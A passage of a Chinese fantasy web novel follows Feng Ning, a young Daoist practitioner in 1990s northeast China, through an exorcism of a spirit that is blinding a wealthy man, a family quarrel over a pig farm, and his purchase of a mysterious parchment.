《五雷诀》可不是什么内修功法了,而是地地道道的道法。以道力催动道器,念天道咒语,法令天雷、神雷、龙雷、水雷、社令雷。
大乘者,可呼风唤雨,天降甘露,降妖除魔,风调雨顺。
虽然只是引雷成功,却也让我信心大增。
“你刚才做了什么?”
因为太激动,我都没发现身后站了个人,这让我眉头紧锁,下意识地收剑,转头朝着声音看去。
离我大约三米开外,站了个约莫二十岁的女子,她很漂亮,气质婉约,一件纯白色的宽松毛衣,搭配一条淡蓝色的牛仔裤,踩着一双运动鞋,正审视着我。
那是我第一次见到这种穿搭的女人,而这女人的出现,让我有一种电视里的明星映进现实的感觉。
虽然很惊艳,但我却面无表情,“你是谁?有啥事?”
女人虽然漂亮,却非常的冷淡,见我没回她的话,挑起了眉毛,很快又恢复了正常,“我叫黎雅,来选猪的。”
我看了眼她身后,不远处是一辆丰田皇冠,我之所以认识这车,还是我那二哥总叨唠,说是要买一辆。
这玩意当时在整个黑城,都找不出一辆来,这女人应该没说假话。
我点了点头,“我只负责养猪,卖猪的话,我三叔三婶他们一会应该会来,到时候你跟他们商量。选猪的话,你想看哪个?”
黎雅眼神闪动,随后她看了一眼那雷击树,摇了摇头,这才看向我点头,“那行,麻烦了,我需要都看看。”
我没说话,猪都在不远处休息,我下意识朝着那边喊,“都别休息了,过来排队,有人要选你们。”
话音落下,原本还在七倒八歪的四十多头梅花猪,全都立马起身,尽然有序地排成了一条线走到了女人的面前。
原本平静的女人,眼睛差点没掉出来,不可置信。
我以为女人不喜欢这样,“怎么了?有什么问题吗?这样,你不是方便一些吗?”
黎雅扯了扯嘴角,“这,这确实方便,我只是有些,眼花。”
我也没理解黎雅的意思,以为梅花猪看得眼乱,我想了想朝着花猪喊,“你们去那边排队,一个个来。”
说完,猪们老老实实照做,跟往常一样排列好,随后最边上的一头,非常有眼力见地走了过来。
黎雅嘴巴张成了‘o’形,她感觉到失态了,急忙捂嘴,“你,就是这样养猪的?”
我也没觉得有什么不妥,甚至有些不耐烦,“养猪这方面,还不用你教我吧?”
黎雅强挤出一个笑容,嘴里嘟囔,“那倒是,这猪,我也不敢吃。”
我觉得这个女人事太多,反正猪们自己就去让她选了,我也没在理会。
但这会肯定不能再尝试《五雷诀》了,而且就算这女人不再,我也不打算继续尝试了。刚才那引雷的瞬间仿佛被掏空了一样,需要修整。
我拿起了最近在看的《黄庭经》,找了个石头坐下,细细品味。
说实话,我看的书非常杂,最开始甚至看人家不要的小学课本,也是这段时间,才有计划地在看书。而这个年月的书不好买,我这本《黄庭经》也是在一家收破烂那发现的。
软磨硬泡,花了我一块钱。
原本,我一个人在山上也没人打扰,看书环境非常安静。但这个女人却时不时地盯着我看,而自从修道之后,我的感官细腻,能感受到女人的目光,所以有点无法静心。
很快,三叔三婶来了,他们见到女人,脸上恭维的笑容就没停过。之后,几个人进了山里的房屋,也不知道说了些什么,出来之后,我三叔三婶就直奔我而来。
得知我要跟女人走一趟,我有些不乐意了,“我不去。”
虽然我爹把我安排过来了,但那是他们需要人,而且这活又脏又累,还要住在山上,谁也不愿意来。要不然,三叔三婶都不会给我试一试的机会。
而我又是凭本事留下来的,一个月五十块真的不多,何况我已经做好了自己的事,他们却让我干五十块之外的事。
在我眼里,死道友不死贫道的事,不能做。
“别不识好歹!你以为我不知道,你整天不干活,拿个破书在那看。不是看在你爹的面子上,早让你滚了。”
三婶终于把心里话说了出来。
我皱了皱眉头,“三婶,你这话什么意思?”
三婶冷笑,“哼,能什么意思,冯宁,我家这猪非常好管理,这清闲的活,五十块,给谁都是给,能听懂吗?听懂了,就乖乖地跟黎小姐走一趟。”
这话说得有些刺耳,我冷眼,“三婶,这活之所以清闲,不是因为你的猪好管理,而是因为有我在这,这些猪好管理。”
三婶冷哼,“别跟我说这些没用的,我就问你去不去,不去,就滚!”
我看了一眼我三叔,从始至终他都没说话,很显然他也认为三婶说得对。
我面无表情,“不去。”
……
第七章泥菩萨也有火气
三叔三婶可能也没想到我会如此决绝,两人的表情错愕。
我瞥了一眼不远处的屋子,那个叫黎雅的女人站在门口,一双漂亮的眼睛看向这边。
虽然不知道这个女人要干什么,但我并不在意,我不喜欢被打扰,至于三叔三婶,我也没在理会,扭头就走。
“这,这,哼,年龄不大,脾气还不小,怪不得是个傻子呢!活该!你以为我们猪场离开你,还不转了!滚,快点滚!”三婶的话要多难听有多难听。
“行了,你也少说两句吧。也真是的,我们好心收留他,让他办点事,居然耍脾气,等会我去找大哥,跟他好好说道说道,我就不信了,还治不了他!”三叔嘴上说行了,但对我还是极为不满意。
我背对着三叔三婶他们,听到这些话,心里非常不舒服。我是真没想到,我把工作做得很好,到头来成了他们好心?
老子现在好歹也是修道的,而从我修道以来,悟出来的第一个道理就是死道友不死贫道。隐忍?不存在的。
泥菩萨也有三分火气,何况是我们修道的。我面无表情地朝着半空举起了结印手势,心中默念解除真言,然后喊了一个‘道’字。
接着,我就听到三婶小声嘀咕,“这家伙不会真是精神病吧,老三,我看你还是别去找大哥了,精神病杀人不犯法。”
我三叔不以为然,“哼,我看就是小孩子发发脾气,他敢把我……”
不等我三叔把话说完,我三婶大喊,“老三,老三,猪,猪跑了,我的妈呀,全跑了,快去追!”
我心里突然畅快了,哼着小曲往山下走,原本我没打算这样做,都是实在的亲属。但三叔三婶实在过分,两人从一开始就不是在跟我商量我,而是在逼迫我,命令我。
到最后他们满嘴的道德成了活菩萨在那救苦救难,我呢?成恩将仇报得了。
这事别人能忍,我忍不了。再说了,我也没做什么,就跟程序员一样,把自己编好的程序拿走罢了。这是我的专利,理所应当。
“等等。”
我正往山下走呢,女人开着那辆丰田皇冠追了下来,把车挡在了我面前,一双眼睛不可思议,“这才不到十分钟,你到山下了?这应该有三公里了吧?”
说实话,眼前的女人长得确实漂亮,而且那种大家闺秀的感觉,非常的吸引人。
但想到她把我工作搅黄了,我心里很不舒服,撇了撇嘴,“我走路快,你管得着吗?有啥事?我要回家了。”
谁知道听了我的话,女人突然笑了,“你,很可爱嘛,我还是很少见到你这样单纯的大男孩。”
突然被夸了,我心里有种说不出的滋味,暖暖的,很开心,但又不想表现出来,所以梗着脖子,“你别以为夸我两句,我就会跟你走,我都不认识你,想都别想。”
对于这个突然出现的女人,我防备心很重,总觉得对这个女人喜欢不上来。准确的说,这女人让我很抵触。
“帅哥,你应该是个道士吧?你的道术,我都已经看到了。你是我见过最夸张的一个。”黎雅走下车,冲我笑了笑。
“我不是什么道士,你到底想说什么。不管你说什么,我都不会跟你走的。因为你是陌生人。”我防备她,但我说的也是事实,我真的不是道士,虽然修道,但我属于方士。
不过,我是不会告诉她这些的。这年头但凡有点本事的,基本都被关进精神病院了。
我轻易不会暴露。
见我不为所动,黎雅盯着我看了又看,看得我都有些发毛。她随后沉思了片刻,转身把手伸进了车内,从包包里拿出了两沓钱递了过来。
我愣住了,百元大钞?还是两沓,足足两万块?说真的,从我有记忆开始就没见过这么多钱。
我狠狠地咽了口吐沫,尽量克制抢钱的冲动,“你这是什么意思。”
黎雅狡黠,“大师,我朋友家里出了点事,想着你能不能帮忙破破,这两万块是订金,只要你跟我走一趟,不管成不成,十万块,行吗?”
九几年的十万块,那就是个天文数字,谁听了都迷糊。而这也是我第一次意识到,我的本事居然能赚钱?一下子就是十万块?
我数学不好,但也能算出来,这笔钱我要是在三叔三婶的养猪场干下去,干到死都赚不出来。
我想到了我爹,因为两万块差点没死了。又想到了自己的处境,我现在需要大量的书,而且我意识到越是文献类的书籍对我越有用。这些都是需要钱的。
“去哪?”
“黑城。”
“走吧。”
我二话不说,直接把钱收了下来,说真的,那是我第一次有钱了,在把这笔巨款塞进兜里的时候,那感觉踏实,富有,仿佛这个世界都无法撼动我一下。
黎雅开车很稳,我坐在副驾驶上话很少,而她也只是简单地说了下情况。
黎雅不是黑城的人,也不是东北人,她来自帝都。这次去的地方,是她在黑城的朋友家,听那意思是个阔少爷。
阔少爷姓郭,叫郭毅,这个名字我好像听过,但也只是听过,具体是干什么的我并不清楚,只是知道在当地非常厉害。
在三年前,郭毅的左眼突然就瞎了,去了各大医院却都没看好。而就在前段时间,他说右眼也有了迹象,家里人觉得郭毅应该是招惹了什么脏东西,所以四处找大师。
黎雅也是碰到了我,看到我的本事,所以想着试试。
一路上我也没表态,说实话,我还有点紧张。我的世界里虽然非常离谱,但那是我自己的事,而这是给别人帮忙,那就有些不一样了。
说是黑城,但实际上是黑城附近的一个县郊区。下车,面前是一座庄园,欧式建筑,大气磅礴。
我在黑城活了十八年,就不知道有这样的一个地方。
庄园门口有安保,这些人可不是那些年迈的老头,而是实打实的壮汉,一身的腱子肉,人高马大,虎口有老茧。
他们非常的警惕,冷漠的眼神锋利如刀,从我出现的那一刻,目光就没离开过我的视线。
好在我跟着黎雅一路畅通无阻的。
……
第八章沉重的灰飞烟灭
在庄园转了接近十分钟,总算在卧室见到了黎雅口中的阔少郭毅。
“黎雅,你来了。坐,这位是?”郭毅穿着睡衣躺在床上,他的左眼上了药,纱布缠在上面。
而整个卧室里也充斥着中西药的味道。
“冯宁,我给你请的大师。”黎雅没坐下,倒是礼貌地介绍了我。
郭毅看了我一眼,随后表情像是便秘,“黎雅,我知道你想让我看开点,但也不至于在大街上抓个要饭的来糊弄我吧?他全身上下的地摊货,加起来都不到十块钱,哪个大师这样。”
黎雅赶忙给郭毅使眼色,“郭毅,这位是真大师,你不要乱说话。”
随后给我道歉,“冯宁,你别生气,我朋友心直嘴快,并没有恶意。”
我摇了摇头,看在钱的份上,他爱说啥说啥。
“你不会又给钱了吧?”郭毅却突然冒出来这么一句。
连我都愣了下,听这话的意思,黎雅好像没少干这种事。
“郭毅,你信我,冯宁真的是大师,他养的猪……”
不等黎雅把话说完,郭毅睁大眼睛,指着我,“他不会是老冯家养猪的吧?我去,黎雅,你好歹也是帝都黎家大小姐,你……”
他似乎觉得自己说错话了,没往下说,但表情却非常丰富。
而我这边,却还真的看出了什么门道,我在这郭毅的身上,看到了一只瞎眼的山魈。而这山魈左眼已经瞎了,而另一只眼睛也有了发脓的迹象,用不了多久也会瞎的。
走到了郭毅的面前,脸色凝重,“你是不是碰到过大马猴?”
郭毅奇怪,“什么大马猴?”
我说,“山魈,那玩意也叫山鬼,脸上鼻子红,站起来一米多高,龇牙咧嘴的。”
郭毅惊了,正了正身子,连连点头,“好像,好像遇到过,在老阴山,我以为猴子呢,追上去想弄它,结果靠近以后吓了我一跳。还被它抽了一巴掌。回来以后我的眼睛就出了问题。大师,我还有救吗?”
老阴山?
看到郭毅眼神变得尊敬了,我其实没多大感觉,但听到了‘老阴山’我精神了。
当初的事历历在目。
“说详细点,你们去老阴山干什么,为什么会碰到山魈?要不然,我没法子弄。”老阴山离我家二十里,自从我出了事,那地方就成了街头巷尾的禁地。
而原本,我们那地人对那就没什么好感,那地方有坟圈子,听说晚上还有狐狸叫,老人们说那埋了不干净的东西。
那天要不是我二哥说鱼多,我跟大哥也不会去,说白了,我被夺舍,跟我那二哥有百分之八十的关系。
如今再次提到那,我总觉得郭毅应该知道点什么事。
“这……”听我问了话,郭毅遮遮捂捂的。
“不想说,那我真没办法了。我只有知道是哪路山鬼,在守着什么,才能对症下药。你的眼睛也才能完全好,要是弄错了,反而适得其反,那就真瞎了。”我吓唬他。
“我说我说,大师,我是从一个倒爷手里拿到了一个藏宝图,说是老阴山地下有宝贝。谁知道我去了宝贝没看到,惹了一身骚。唯一,哎,跟您实话实说吧,唯一就带回来了一个铃铛。”郭毅说完,从床头枕头下拿出来了一个铃铛递给了我。
我反复看了看,没什么特别之处,就是那种普普通通的黄铜铃。要说有什么特别的话,那就是很厚重,明明小拇指指甲盖那么大,却很沉。
我也好奇了,这玩意?似乎真没啥特别的。我摇了摇,结果愣住了。
没响?
我又摇了摇,还是没有响。那铃舌明明撞在了铃铛上,居然没有动静?这很违背常理啊。
“大师,这铃铛没有铃舌,您摇它,是因为发现了什么不一样的地方吗?”
没有铃舌?我下意识地看了一眼,有铃舌啊?随后我突然想到了佛像转身的事,我意识到了不对劲。这铃铛不简单。
“你多亏碰到了我,要不然就不是瞎眼那么简单了。这铃铛是邪物,你居然还敢放在枕头下。”我说完就把铃铛放在了兜里。
郭毅似乎对这个铃铛情有独钟,非常地舍不得,想说些什么,但我哪会让他废话,而是故作神秘,“去准备一张桌子,大米,蜡烛,杀一只活的大公鸡,弄一碗大公鸡的血,再给我找来一根两米半的红绳,越粗越好,当然,不要超过拇指那么粗。”
见我态度认真,郭毅哪敢怠慢,大约过了半个小时,我要的东西都准备好了。
我摆正了桌子,点燃了蜡烛,又把米撒在了郭毅的四周。随后,我把那两米半的红绳蘸上鸡血,绑在了郭毅的手腕上,另一边绑在了门上。
说实话,其他的都是噱头,只有这红绳蘸鸡血才是真东西,我之所以会弄的麻烦,完全是有点神棍的想法,十万块?总不能赚得太轻松吧?
这一套下来,反正挺唬人的。至于这一招好不好使,我连雷都引下来了,这点信心还是有的。
做好了一切前缀,我走到了郭毅面前,这次我没有看他,完完全全看的是那山魈,它似乎也在看我,身躯颤抖,对于那红绳鸡血非常的忌惮。
“该走了。”说完我开始念叨了咒语,最后喊了一句‘诸邪避让’。
轰。
下一秒钟,我仿佛听到了焚尸炉高温炼尸体的声音,声音不大,却震耳欲聋。
我亲眼看到那山魈炸开了,如同燃烧的纸,先是化为黑色的灰烬,然后随着一道金光,灰飞,烟灭。
场面并不血腥,却很诡异,我被震撼了很久,有种说不出的滋味。
因为我突然意识到了一个问题,人死后,会不会也是这样。
“我,我能看见了,我能看见了。”要不是郭毅激动得大喊大叫,我可能还会沉浸在那种震撼中。
我回过神来,看到郭毅激动地把纱布撕掉,在床上蹦了起来,那样子,哪里像是受过罪。
而这一幕,看得黎雅也是一脸诧异,她看了看郭毅,又看了看我,然后走到了我身边,也不知道是夸我,还是夸她自己,“我就说嘛,你肯定是大师。”
我没承认,也没否认,仍然对于刚才发生的事耿耿于怀。不知道为啥,我虽然救了郭毅,让他重获光明,但我开心不起来。
很失落,甚至有些沉重。
……
第九章三叔三婶找上门
郭毅心情大好,又是要跟我交朋友,又想留我吃饭,但都被我拒绝了。
我们并不熟。
倒是黎雅说送我,我没有拒绝,这里离黑城也不近,少说有二十公里,总不能走回去吧。何况,尾款还没付呢。
想到一下子赚了十万块,我心潮澎湃,那种心情也被抛到了脑后。
坐上黎雅的丰田皇冠,她启动车后瞥了我一眼,“冯宁,你不应该拒绝郭少的好意,认识他,不说龙省吧,起码黑城这一带,能省去很多的麻烦。”
我摇了摇头,这女人是不想付尾款吗?直言,“钱呢?”
黎雅美目微怔,接着露出了一抹非常好看的笑容,“你真的很特别。”
说完从包里拿出了八万块递了过来,在我要拿到手后又缩了回去。
我奇怪地看着黎雅,心中想着,你看吧,这女人就是不想给我尾款,说那么多废话干嘛?
黎雅似乎能察觉到我的想法,她噗嗤一笑,“我答应你了,当然会做到的。十万块,在你们看来非常多,但在我这,真的算不上什么。你知道天宫吗?”
天宫?大闹天宫?
对于这个词,我隐约地有些印象,除了猴哥大闹天宫,那个方士的记忆里似乎非常忌惮这个地方。但具体为啥,我就不清楚了。应该是个不得了的地方吧。
黎雅又噗嗤一下,把钱塞在了我的手里,“好啦,不逗你了。我想说,你不跟郭毅交朋友,那能跟我交朋友吗?”
我赶忙把钱想塞好,但我突然发现我这身上除了裤子两个兜以外,根本没地方。
黎雅忍不住白了我一眼,“哼,你现在一点也不特别了。”
说完把她那装钱的包包递给了我,“你用这个装吧。”
那是个女士的真皮包,一针一线都是手工制造,给人一种细腻的质感,logo是两个c背对。我后来才知道,那包叫香奈儿。
在当时是绝对的奢侈品,别说普通人家了,就算一些富商,中层阶级的,都未必认识。
而那一个包,当时就价值三万。
“谢谢。”见她帮了我,我也礼貌了一下,然后把钱装好。
“不客气,对了,郭毅身上到底发生了什么啊,我看你摆了个台子,然后那样,又念咒的,他就好了。那是什么法术吗?你真会法术吗?法术的话,是一定要按照那个步骤去做吗?我能行吗?”
听到黎雅这一连串的问题,我心想,果然忙都不是白帮的,一个破包就像套路我?
但看在她人还不错的份上,我想了想,倒也没隐瞒,“具体发生了什么我也不清楚,我只是在他身上看到了一个瞎眼的山魈,我觉得它是个邪物,顺便驱邪了。至于那套流程,是我怕他不信编出来的。其实就需要鸡血和红绳,然后念一道咒语。”
闻言,黎雅张大嘴巴,完全没了一个淑女的形象,她想到了什么,忍不住追问,“那铃铛呢?不会也是你为了密下编的故事吧。”
我忍不住打量黎雅,这女人也太聪明了吧?但这种事,打死都不能承认。索性,我闭眼不谈。
“哼,你肯定是想密下的。”黎雅撇了撇嘴,路上也不再说话了,一直给我送到了家门口。
原本,我下车后打算一走了之,但又觉得黎雅这女人心地不错,转头又敲了她车窗。
“嗯?”黎雅笑眯眯地看着我,那样子不像是个好人,“想跟我交朋友了?”
我摇头,“不是,是我要提醒你一件事,但这件事我也不太确定。”
黎雅疑惑,“你不要吓唬我,说得好像我要死了似的。”
我想了想,“我不太喜欢你。”
黎雅睁大眼睛,用力的咬了咬嘴唇,生气,“我知道了,不用你刻意回来提醒我。”
接着我看她脸色越来越不好看,眼眶里竟然有了泪痕。
我急忙解释,“我说的这个不喜欢不是指你的人,而是你身上的气息。靠近你,总让我觉得很不舒服。我觉得你有问题。但我也说不清楚为什么,你最好自己去发现吧。”
我说的是真话,黎雅长相温柔婉约,性格又善良,这种女人很难不被喜欢。然而从刚见面那会,她就让我有些不喜欢。
准确地说是抵触。
像是水和火不能相容那样。
“原来是这样。那我原谅你了。”黎雅瞥了我一眼,一脚油门走了。
说完这个事,我整个人似乎也变轻松了,而眼下,天已经黑了。
刚进家门,看到了我爹跟我三叔在那喝酒,我娘在那安慰三婶,肯定是因为早上的事。
果然,见我回来了,大家都看向了我,三叔三婶的眼神里带着怨气。我爹脸色也不太好,指着我,“过来,给你三叔三婶道歉。”
我往前走了两步,但却没打算道歉,“我又没错,道什么歉?”
我爹瞪大眼睛,怒视我,“反了天了,你还敢跟老子顶嘴。”
说完就是一副要动手的架势,我三叔则是假惺惺的拉着我爹,“大哥,算了,算了,都是孩子。你看,那丢了两头猪,哎……”
看似拉仗,其实那语气就是在拱火。意思是猪丢了,都赖在我身上。
我三婶也在那演戏,一边抹眼泪一边说,“大哥,我跟你三弟,那赚的就是辛苦钱。这一下子丢了两头猪,小一千块啊,那不是小钱。你说,这孩子在我那一个多月,吃像吃的,喝像喝的,我还给他买新衣服。你说他撂挑子不干了,我也不说啥,走了走了,还把猪给我们吓跑了。”
听到三叔三婶在那胡诌八咧,我都被气笑了。
“宁宁啊,你还在那笑,快点给你三叔三婶道歉。”我娘也急了,觉得我不懂事。
“三叔三婶,你不是说,你家猪很好管理吗?我这一走,怎么就跑了呢?”我讥讽。
“这,这个……”三婶理亏。
“你这孩子,怎么说话呢。你三婶什么时候说了的?”三叔死死地盯着我。
在这件事上,我肯定不会吃亏,我把事情原原本本的都讲了出来,连我三婶三叔说过的话,做过的事,一字不差的叙述。
听得我三叔三婶都愣住了,那眼神像是在说话,这是傻子吗?怎么记得这么清楚?
我爹我娘直接沉默了,他们也没想到,我亲三叔居然骂我傻子,让我三婶不给我饭吃。
……
第十章我三叔睡不着了
见我爹脸色难看,我三叔紧张了。我爷爷奶奶走得早,我爹是家中老大,顶梁柱,家里的几个孩子都很怕他。
我三叔做的事,那就是瞧不起他这个大哥,我三叔急忙赔笑,“大哥,别听小冯宁瞎嘞嘞,我怎么能说那话啊。”
我三婶也应和,“是啊大哥,你看,俺们来这也不是为了跟你要猪钱,就是发发牢骚,对,发发牢骚。大哥,你可别信宁宁的话,他,他撒谎,在俺们山上那会就撒谎。”
我爹拧眉,“老三,你的意思,俺自己的儿子,俺不知道什么秉性?”
三叔紧张,“大哥,这事肯定是误会。”
连我娘都生气了,“老三,你再怎么地,也不能骂宁宁是傻子啊,那是你亲侄子。”
看到我三叔三婶汗流浃背的,我这口气也算是出了。想到他毕竟是我爹的亲弟弟,我拿起一张纸随手画了一张符,把真言附在了上面递了过去。
“宁宁,这是?”我爹生气了,我三叔看我的眼神很埋怨,但也不敢发作。
“三叔,一会你回山上把这个烧了,然后喊一声‘道’字,你丢的猪自己就回来了。”符箓和真言,我已经门清了,相辅相成。虽然道力不够,但这些低级的手段还是能做到的。
因为之前的那些猪都被我下过真言,所以只要听到这真言,自然而然的就回来了。
“呵呵,宁宁,你别瞎胡闹,那可是丢了两头猪,你当丢了俩孩子呢,喊一声就回来了?”我三婶双手插在胸前,又恢复了那副尖酸刻薄的嘴脸。
“要是回不来,我赔钱。”我认真道。
“你?”提到了钱,我三婶的眼睛直冒光,但很明显她不信。
“弟妹,你拿去试试吧,要是不好使,我这个做爹的赔!”我爹发话了。
我三婶还想说些什么,却被我三叔给拉走了。
“爸……”被我爸一信任,我还有些感动,刚要说些什么,我爹却摆了摆手,“老幺,这事不怪你。老三和他媳妇什么德行我清楚。哎,赔点钱就赔点钱吧。”
听了我爹的话,原本酸酸的鼻子,又不酸了,原来我爹是这意思。但我也没解释,看着桌子上还有剩菜,有些饿了,坐过去吃饭。
“你这傻孩子,给你留了,锅里热着呢。”我娘从锅里端上来热乎乎的饭菜,我的情绪又是一暖。
见我吃饭,我娘唠叨,“老幺啊,你别怪你爹冲你喊,他这人要面。其实你爹从一开始就没怪过你。你爹说了,你要不是好样的,在那老三那别说一个月了,不出三天就回家了。你走肯定有你道理。”
我没想到平日里话不多的娘,竟然能说出这些话来,又是觉得暖暖的。
吃过饭后,我爹找我又聊了一会,我有些意外,我三叔三婶居然还想雇我,甚至说加点钱。而后我就明白了,我这一走,猪这么一闹,他们这段时间过习惯了清闲日子,有点受不了。
我冷笑,对人性这玩意又有了新的认识,我三叔三婶真的做到了既要又要,猪丢了找我家来要钱,嫌累又想起了我的好。
我拒绝了,顺便掏出了两万块放在了我爹面前,我爹人都傻眼了,问我哪来的。我撒了谎,说给人看事看得准了人家给的。
看事,就是看一些邪乎事,但那玩意迷信,连我都不信。因为修道和这些迷信的事,完全是两码事。但这个身份却非常好用,起码在我爹这立得住。
我爹叹了口气,说知道我跟正常人不太一样,没想到还懂这些玩意。而他也没继续问,他这代人就这样,对于这种事很避讳。钱的话他也不要,还是我好说歹说才收下了,说给我娶媳妇用。
我很少做梦,但这个晚上我却梦到了和索菲亚在旅馆的事,等醒来的时候,哪怕都修道的人了,也有些难为情。只能感叹,年轻人精力旺盛。
而这一大早的,我家刚吃完饭,三叔三婶就火急火燎地赶来了。见到我,两人的眼神都变了,我三婶一个劲地道歉,看我的眼神尊敬。
我三叔原本挺沉稳一个人,结果可倒好,差点没给我跪下,说我这个侄子是老神仙下凡。
“老三,到底怎么回事?”我爹奇怪。
“大哥啊,你是不知道啊,我回去把这符点了,按照大侄子说的做,那猪真就自己跑回来了。但,但这还不算啥,这一大早上的,我都惊呆了。家里面的猪,自己排队上山,吃完饭就老老实实地趴着……大侄子,叔错了,叔真知道错了。”三叔看我的眼神敬畏,他总算明白了我昨天说些话的意思了。
“就是,大侄子,你跟我们回去吧。我给你一个月六十,不,一百,一百。马上种猪要下猪了,都交给你,你想怎么折腾怎么折腾,我们不管。”三婶也是笑脸。
我娘云里雾里的,都听傻眼了。倒是我爹,昨晚聊了一些事,他虽然也惊讶但很镇定。但看我眼神呢也有些异样,没想到我真会点东西。
对于三叔三婶的奉承,我没什么反应,我看向了他们,双眼用力,两人头上的气运,呈现在了我眼前。
原本对于能看到别人气运这件事上我有些烦恼的,毕竟你一抬头,就能看到别人头上有颜色,总觉得起奇奇怪怪。
好在随着道力越来越强,我已经能控制看气运的这个能力。我感觉到三叔三婶两人的气运似乎有些不对,这才看了看。
果然,我没感觉错,我三婶的是彩色的,这个我已经知道是什么意思了,代表着人不正经,有着很多复杂的关系,彩色越亮,关系越乱。
我三婶头上的彩色,又变得有些黑了,意思是她要倒霉了。
在看我三叔,头上是淡黄色,他这个淡黄色与王远那种淡黄色截然相反。王远的是若隐若现,很多事不确定,但等到确定了下来,那就是淡黄。
我三叔的这个淡黄色,颜色正渐渐地变得暗淡,他的财运在变差。
而且与我三婶的一样,他的头上有一抹灰色的气运正在展开。他也要倒霉了。
“三叔三婶,既然猪找回来了,那我们就不用给钱了吧?”我冷冷的说道。
“不用,当然不用,宁宁,我就没这么想过。”我三婶嘴快道。
“那就好,爸,娘,我去买点书,你们聊。”我没在理会三叔三婶,前段时间在书店看到几本书,因为没钱,一直没买成,如今有钱了,我想着抓紧买回来看。
临走的时候,我没忍住朝着三婶的头上看了一眼,那颜色真的是五彩缤纷,太亮了。这让我想到了我三叔家的三个孩子,会是我三叔亲生的嘛?
我三叔三婶也看到了我的眼神,两人相视一眼,看上去有些发毛。
我这边刚出门,三叔就追了出来,一把拉住我的手,迫切地问,“冯宁,你是不是发现了啥啊,咋那种眼神啊。跟三叔说说,都一家人,你要是不说,三叔的瞎捉摸,睡不着觉啊!”
……
第十一章大黄牙的羊皮纸
我心想你睡不着觉跟我有什么关系?
虽然是亲属,总不能你给我脸色看?然后用得着我了,我还要笑脸相迎?你想要啥,还给你啥?
那不把我当二币吗?
“三叔,有些事你最好顺其自然。”我说了些模棱两可的话。
“宁宁,你这,到底啥事啊?还不能说?都是一家人。”三叔害怕了。
谁跟你一家人?给我脸色看的时候,怎么不说是一家人了?来我家跟我爹要猪钱的时候,怎么不是一家人了?我摇了摇头,扯开了三叔抓着我袖子的手走人了。
修道也有一段时间了,其实告诉他,不告诉他,对我都没什么影响。从小到大,我也见过一些算命的先生,这些人有的是神棍,但有的也不是,懂点面相风水什么的。
但我可以保证,那些说什么天机不可泄露的,或是什么命中注定大灾大难的,多半是都是骗子。
因为真正的修道本就违背天道,哪里来的天机不可泄露,都是骗人的把戏。当然我也发现了,世人特别喜欢这套说辞,因为感觉神秘有逼格。
而我后来也遇到过跟我类似的人,有的是修佛的,有的是修道的,也有修仙的,当然,他们也喜欢用这套说辞,我们想的都一样,套路得人心。最重要的能省去很多的麻烦。
东北的天气四季分明,眼下已经十月,秋叶凋零,冷风吹袭。
我家早年其实就是村子,八八年左右才成了黑城街道,所以离城中心可不近,大约十里地左右的路程。
而在去书店的途中,我也突然发现了,怪不得黎雅说我走得非常快呢。十里地,那就是五公里,少说也要走三四十分钟,结果二十来分钟我就快到地方了。
我想应该是修道的缘故吧,健步如飞。但我没急着去书店,途中在报刊亭停了下来,这里卖报纸,也卖书,最出名的就是《故事大王》《选集》,都是我喜欢看的。
“小伙子,想赚米吗?”报刊亭的摊主是个中年人,约莫四十来岁,一口大黄牙,长得有点猥琐。他探出半个脑袋,贼眉鼠眼。
“赚什么米?”我知道赚米什么意思,就是赚钱,之前也来过报刊亭几次,也算熟人吧。而且东北人自来熟,一来二去认识了。
大黄牙左顾右盼,见四下没人,把头探到我跟前,“小伙子,你来我这买过几次故事会,爷们我一看你就是读书人,我这有好东西,倒爷们从毛熊国弄回来的好货。我花了五百块收的,卖你四百。这玩意是文献,你找个读书人卖掉,我保证能赚一千以上!”
听到‘文献’两个字,我突然有些心动。但这大黄牙看上去就不像什么好人,准是坑蒙拐骗的主。
说实话,那年代的人都很单纯,包括我也那样。虽然不至于谁说什么都信,但彼此之间都会给一个信任的机会。
所以那时候靠骗人起家的,真的不在少数,因为人单纯,太好骗了。
“拿来看看。”我戒备心还是有的,反正看看也没事。
大黄牙眼前一亮,贼眉鼠眼地看了看四周,见真的没什么人,这才弯下身子捣鼓了一番,随后从报刊亭里走了出来,一张泛黄的羊皮纸塞在我手里。
轰。
我仅仅看上一眼,心里突然炸开了一样,羊皮纸是残缺的,手掌般大小。上面斑斑点点,老旧不堪,零零散散地能看到一些文字。
我很清楚,这是一些我从未见过的文字,但奇怪的,我居然全都认识,上面写的是,‘能量并不是来自食物,来自天上的金乌。混沌在宇宙之。’
然而虽然这羊皮纸不完整,但这短短的一些字,却让我整个人都通透了。似乎,对混沌宇宙,人与太阳,有了一个另类且清晰的认知。
“怎么样?好东西吧?”大黄牙猥琐地冲我笑。
“这玩意,我也看不懂,应该不值钱吧。你不会想骗我钱吧?”我直接把羊皮纸塞了回去,虽然我很想要,甚至我觉得这羊皮纸都值得去研究一下,但我不能那样做。
九零年代的黑城,真的是什么人都有。半大孩子都知道防备点。很显然,大黄牙这东西来路不正,他也不知道是好是坏所以急着出手。我不能让他看出来我有买的意思,避免被黑了。
“大兄弟,你多少钱能拿吧?痛快点。”大黄牙急了。
“问题是我感觉没什么用啊?这玩意估计也就我们老师愿意收。但他老人家在帝都呢,我最近生病了,一时半会回不去。万一赔了怎么办?”我谎话张口就来。
我保证,我真不是一个爱说谎的人。
“这,这,二百,二百行吗?”大黄牙很急。
我摇了摇头,故意从兜里拿出了钱,大约二百多,随后指了指那《故事大王》,“这个多少钱?”
这招固然奏效,见我一下子拿出了这么多钱,大黄牙眼睛都亮了,直接把羊皮纸塞在我手里,一把把我钱抢走了,“大兄弟,这样,这几本书都给你,还有这报刊,就当你买书送你羊皮纸了,行吗?”
“这……”
“行了行了,都是大男人的,计较啥。我都赔钱了。去吧去吧。”
说完,大黄牙也不管我愿不愿意,直接撵我走。我也配合他,一副鬼使神差的样子朝着书店那边走。
刚走没几步我就听到大黄牙在那嘟囔,“还好遇到个傻子,把这破玩意给出手了,总算是踏实了。也不知道老狗偷谁的?要不是老子,谁也卖不出去这破玩意。”
我心里有数了,怪不得这大黄牙不认识这东西,还急着出手,原来是偷的?
但我也没想那么多,甚至觉得很有趣。这应该算是机缘和奇遇吧。
殊不知,一场大祸正在悄然地到来。
接下来的几天里,我基本没怎么出过门,除了看书,那就是看书。而我三叔那边,出事了。
“哎,孩子他爹,你说谁能想到前几天这老三的媳妇还来家里闹呢,这才几天,就成了荡妇。这人啊,真不能看表面。”饭桌上我娘感触,边吃边摇头,看似在跟我和我爹说话,其实压根没看我们。
